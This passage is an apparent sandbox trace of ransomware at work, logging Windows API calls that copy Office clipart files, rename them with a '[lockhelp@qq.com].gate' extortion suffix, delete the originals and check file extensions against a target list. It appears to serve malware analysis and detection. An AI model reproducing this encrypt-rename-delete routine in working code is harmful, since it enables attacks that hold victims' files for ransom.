office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0303.369] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.369] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0303.370] GetLastError () returned 0x0 [0303.370] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x5664, lpOverlapped=0x0) returned 1 [0303.545] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x5670, lpOverlapped=0x0) returned 1 [0303.546] ReadFile (in: hFile=0x52c, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0303.546] WriteFile (in: hFile=0x4f4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0303.546] SetEndOfFile (hFile=0x4f4) returned 1 [0303.546] CloseHandle (hObject=0x4f4) returned 1 [0303.547] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.547] SetEndOfFile (hFile=0x52c) returned 1 [0303.553] CloseHandle (hObject=0x52c) returned 1 [0303.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0303.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.827] lstrlenW (lpString=".doc") returned 4 [0303.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.827] lstrlenW (lpString=".docx") returned 5 [0303.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.827] lstrlenW (lpString=".pdf") returned 4 [0303.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.827] lstrlenW (lpString=".xls") returned 4 [0303.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.827] lstrlenW (lpString=".xlsx") returned 5 [0303.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.827] lstrlenW (lpString=".ppt") returned 4 [0303.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.827] lstrlenW (lpString=".zip") returned 4 [0303.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.827] lstrlenW (lpString=".rar") returned 4 [0303.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.827] lstrlenW (lpString=".bz2") returned 4 [0303.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.827] lstrlenW (lpString=".7z") returned 3 [0303.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.828] lstrlenW (lpString=".dbf") returned 4 [0303.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.828] lstrlenW (lpString=".1cd") returned 4 [0303.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0303.828] lstrlenW (lpString=".jpg") returned 4 [0303.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.847] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.847] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0303.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0303.848] GetLastError () returned 0x0 [0303.848] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x486, lpOverlapped=0x0) returned 1 [0304.466] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x490, lpOverlapped=0x0) returned 1 [0304.467] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0304.467] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0304.467] SetEndOfFile (hFile=0x50c) returned 1 [0304.468] CloseHandle (hObject=0x50c) returned 1 [0304.468] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0304.468] SetEndOfFile (hFile=0x4f4) returned 1 [0305.360] CloseHandle (hObject=0x4f4) returned 1 [0305.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1 [0305.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0305.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0305.693] lstrlenW (lpString=".doc") returned 4 [0305.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString=".docx") returned 5 [0305.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.693] lstrlenW (lpString=".pdf") returned 4 [0305.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString=".xls") returned 4 [0305.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.693] lstrlenW (lpString=".xlsx") returned 5 [0305.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.693] lstrlenW (lpString=".ppt") returned 4 [0305.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0305.693] lstrlenW (lpString=".zip") returned 4 [0305.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.693] lstrlenW (lpString=".rar") returned 4 [0305.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString=".bz2") returned 4 [0305.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString=".7z") returned 3 [0305.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0305.693] lstrlenW (lpString=".dbf") returned 4 [0305.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0305.693] lstrlenW (lpString=".1cd") returned 4 [0305.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68 [0305.693] lstrlenW (lpString=".jpg") returned 4 [0305.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.694] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11190) returned 1 [0305.694] CloseHandle (hObject=0x4f4) returned 1 [0305.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0305.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0305.695] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.695] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0305.695] GetLastError () returned 0x0 [0305.695] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0305.776] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0305.777] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.777] WriteFile (in: hFile=0x4c4, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.777] SetEndOfFile (hFile=0x4c4) returned 1 [0305.777] CloseHandle (hObject=0x4c4) returned 1 [0305.778] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.778] SetEndOfFile (hFile=0x4f4) returned 1 [0305.823] CloseHandle (hObject=0x4f4) returned 1 [0305.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0305.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0305.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0305.825] lstrlenW (lpString=".doc") returned 4 [0305.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString=".docx") returned 5 [0305.825] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.825] lstrlenW (lpString=".pdf") returned 4 [0305.825] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.825] lstrlenW (lpString=".xls") returned 4 [0305.825] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.825] lstrlenW (lpString=".xlsx") returned 5 [0305.825] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.825] lstrlenW (lpString=".ppt") returned 4 [0305.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0305.826] lstrlenW (lpString=".zip") returned 4 [0305.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.826] lstrlenW (lpString=".rar") returned 4 [0305.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.826] lstrlenW (lpString=".bz2") returned 4 [0305.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.826] lstrlenW (lpString=".7z") returned 3 [0305.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0305.826] lstrlenW (lpString=".dbf") returned 4 [0305.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0305.826] lstrlenW (lpString=".1cd") returned 4 [0305.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0305.826] lstrlenW (lpString=".jpg") returned 4 [0305.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.827] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=9172) returned 1 [0305.827] CloseHandle (hObject=0x4f4) returned 1 [0305.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0305.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0305.828] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.828] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0305.829] GetLastError () returned 0x0 [0305.829] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x23d4, lpOverlapped=0x0) returned 1 [0305.850] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x23e0, lpOverlapped=0x0) returned 1 [0305.851] ReadFile (in: hFile=0x4f4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0305.851] WriteFile (in: hFile=0x52c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0305.852] SetEndOfFile (hFile=0x52c) returned 1 [0305.867] CloseHandle (hObject=0x52c) returned 1 [0305.867] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.867] SetEndOfFile (hFile=0x4f4) returned 1 [0306.148] CloseHandle (hObject=0x4f4) returned 1 [0306.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0306.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0306.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0306.772] lstrlenW (lpString=".doc") returned 4 [0306.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.772] lstrlenW (lpString=".docx") returned 5 [0306.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0306.772] lstrlenW (lpString=".pdf") returned 4 [0306.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.772] lstrlenW (lpString=".xls") returned 4 [0306.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.772] lstrlenW (lpString=".xlsx") returned 5 [0306.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0306.772] lstrlenW (lpString=".ppt") returned 4 [0306.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0306.772] lstrlenW (lpString=".zip") returned 4 [0306.772] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.772] lstrlenW (lpString=".rar") returned 4 [0306.772] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.773] lstrlenW (lpString=".bz2") returned 4 [0306.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.773] lstrlenW (lpString=".7z") returned 3 [0306.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0306.773] lstrlenW (lpString=".dbf") returned 4 [0306.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0306.773] lstrlenW (lpString=".1cd") returned 4 [0306.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0306.773] lstrlenW (lpString=".jpg") returned 4 [0306.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0306.824] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.824] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0306.825] GetLastError () returned 0x0 [0306.825] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xb80, lpOverlapped=0x0) returned 1 [0306.930] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xb90, lpOverlapped=0x0) returned 1 [0306.931] ReadFile (in: hFile=0x4c4, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.931] WriteFile (in: hFile=0x50c, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0306.931] SetEndOfFile (hFile=0x50c) returned 1 [0306.931] CloseHandle (hObject=0x50c) returned 1 [0306.931] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.932] SetEndOfFile (hFile=0x4c4) returned 1 [0306.948] CloseHandle (hObject=0x4c4) returned 1 [0306.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0307.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0307.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0307.006] lstrlenW (lpString=".doc") returned 4 [0307.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.006] lstrlenW (lpString=".docx") returned 5 [0307.006] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0307.009] lstrlenW (lpString=".pdf") returned 4 [0307.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.010] lstrlenW (lpString=".xls") returned 4 [0307.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.010] lstrlenW (lpString=".xlsx") returned 5 [0307.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0307.010] lstrlenW (lpString=".ppt") returned 4 [0307.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0307.010] lstrlenW (lpString=".zip") returned 4 [0307.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.010] lstrlenW 